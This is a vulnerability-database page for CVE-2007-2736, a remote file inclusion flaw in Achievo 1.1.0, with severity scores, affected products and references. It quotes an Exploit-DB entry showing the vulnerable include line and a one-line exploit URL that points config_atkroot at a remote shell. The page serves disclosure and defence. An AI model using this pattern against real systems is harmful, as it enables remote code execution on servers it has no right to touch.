CVE-2007-2736 : Detail

CVE-2007-2736

5.36%V3
Network
2007-05-17
17h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

PHP remote file inclusion vulnerability in index.php in Achievo 1.1.0 allows remote attackers to execute arbitrary PHP code via a URL in the config_atkroot parameter.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3928

Publication date : 2007-05-14 22h00 +00:00
Author : Katatafish
EDB Verified : Yes

## Achievo 1.1.0(index.php) Remote File Include Vulnerability ## #Found by : Katatafish ([email protected]) #Download http://www.achievo.org/files/achievo-stable-1.1.0.tar.gz # File: ./atk.inc include_once($config_atkroot."atk/modules/class.atkmodule.inc"); # Exploit http://site.com/[path]/index.php?config_atkroot=SHELL # milw0rm.com [2007-05-15]

Products Mentioned

Configuraton 0

Apple>>A_ux >> Version *

Apple>>Mac_os_x >> Version *

Hp>>Hp-ux >> Version *

Hp>>Tru64 >> Version *

Ibm>>Os2 >> Version *

Linux>>Linux_kernel >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_98 >> Version *

Microsoft>>Windows_98se >> Version *

Microsoft>>Windows_me >> Version *

Microsoft>>Windows_nt >> Version 4.0

Microsoft>>Windows_xp >> Version *

Santa_cruz_operation>>Sco_unix >> Version *

    Sun>>Solaris >> Version *

    Windriver>>Bsdos >> Version *

    Achievo>>Achievo >> Version 1.1.0

    References

    https://www.exploit-db.com/exploits/3928
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://osvdb.org/37919
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/23992
    Tags : vdb-entry, x_refsource_BID